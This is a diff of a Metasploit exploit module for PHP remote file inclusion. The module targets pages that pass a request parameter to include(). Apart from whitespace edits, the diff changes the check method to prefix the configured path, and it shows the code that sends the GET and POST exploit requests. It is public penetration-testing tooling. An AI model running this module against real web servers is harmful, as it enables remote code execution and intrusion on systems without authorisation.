2
2
# This file is part of the Metasploit Framework and may be subject to
3
3
# redistribution and commercial restrictions. Please see the Metasploit
4
4
# web site for more information on licensing and terms of use.
5
- # http://metasploit.com/
5
+ # http://metasploit.com/
6
6
##
7
7
8
8
require 'msf/core'
@@ -17,20 +17,20 @@ class Metasploit3 < Msf::Exploit::Remote
17
17
def initialize ( info = { } )
18
18
super ( update_info ( info ,
19
19
'Name' => 'PHP Remote File Include Generic Code Execution' ,
20
- 'Description' => %q{
20
+ 'Description' => %q{
21
21
This module can be used to exploit any generic PHP file include vulnerability,
22
22
where the application includes code like the following:
23
23
24
24
<?php include($_GET['path']); ?>
25
25
} ,
26
26
'Author' => [ 'hdm' , 'egypt' , 'ethicalhack3r' ] ,
27
- 'License' => MSF_LICENSE ,
27
+ 'License' => MSF_LICENSE ,
28
28
#'References' => [ ],
29
29
'Privileged' => false ,
30
- 'Payload' =>
30
+ 'Payload' =>
31
31
{
32
32
'DisableNops' => true ,
33
- 'Compat' =>
33
+ 'Compat' =>
34
34
{
35
35
'ConnectionType' => 'find' ,
36
36
} ,
@@ -45,7 +45,7 @@ def initialize(info = {})
45
45
'DisclosureDate' => 'Dec 17 2006' ,
46
46
'Platform' => 'php' ,
47
47
'Arch' => ARCH_PHP ,
48
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
48
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
49
49
'DefaultTarget' => 0 ) )
50
50
51
51
register_options ( [
@@ -59,19 +59,25 @@ def initialize(info = {})
59
59
] , self . class )
60
60
end
61
61
62
- def check
63
- uri = datastore [ 'PHPURI' ] ? datastore [ 'PHPURI' ] . dup : ""
64
- if ( uri and ! uri . empty? )
65
- uri . gsub! ( /\? .*/ , "" )
66
- print_status ( "Checking uri #{ uri } " )
67
- response = send_request_raw ( { 'uri' => uri } )
68
- return Exploit ::CheckCode ::Detected if response . code == 200
69
- print_error ( "Server responded with #{ response . code } " )
70
- return Exploit ::CheckCode ::Safe
71
- else
72
- return Exploit ::CheckCode ::Unknown
62
+ def check
63
+ uri = datastore [ 'PHPURI' ] ? datastore [ 'PHPURI' ] . dup : ""
64
+
65
+ tpath = normalize_uri ( datastore [ 'PATH' ] )
66
+ if tpath [ -1 , 1 ] == '/'
67
+ tpath = tpath . chop
68
+ end
69
+
70
+ if ( uri and ! uri . empty? )
71
+ uri . gsub! ( /\? .*/ , "" )
72
+ print_status ( "Checking uri #{ rhost +tpath +uri } " )
73
+ response = send_request_raw ( { 'uri' => tpath +uri } )
74
+ return Exploit ::CheckCode ::Detected if response . code == 200
75
+ print_error ( "Server responded with #{ response . code } " )
76
+ return Exploit ::CheckCode ::Safe
77
+ else
78
+ return Exploit ::CheckCode ::Unknown
79
+ end
73
80
end
74
- end
75
81
76
82
def datastore_headers
77
83
headers = datastore [ 'HEADERS' ] ? datastore [ 'HEADERS' ] . dup : ""
@@ -136,18 +142,18 @@ def php_exploit
136
142
if http_method == "GET"
137
143
response = send_request_raw ( {
138
144
'global' => true ,
139
- 'uri' => tpath +uri ,
145
+ 'uri' => tpath +uri ,
140
146
'headers' => datastore_headers ,
141
147
} , timeout )
142
148
elsif http_method == "POST"
143
149
response = send_request_raw (
144
150
{
145
- 'global' => true ,
151
+ 'global' => true ,
146
152
'uri' => tpath +uri ,
147
- 'method' => http_method ,
148
- 'data' => postdata ,
153
+ 'method' => http_method ,
154
+ 'data' => postdata ,
149
155
'headers' => datastore_headers . merge ( {
150
- 'Content-Type' => 'application/x-www-form-urlencoded' ,
156
+ 'Content-Type' => 'application/x-www-form-urlencoded' ,
151
157
'Content-Length' => postdata . length
152
158
} )
153
159
} , timeout )
0 commit comments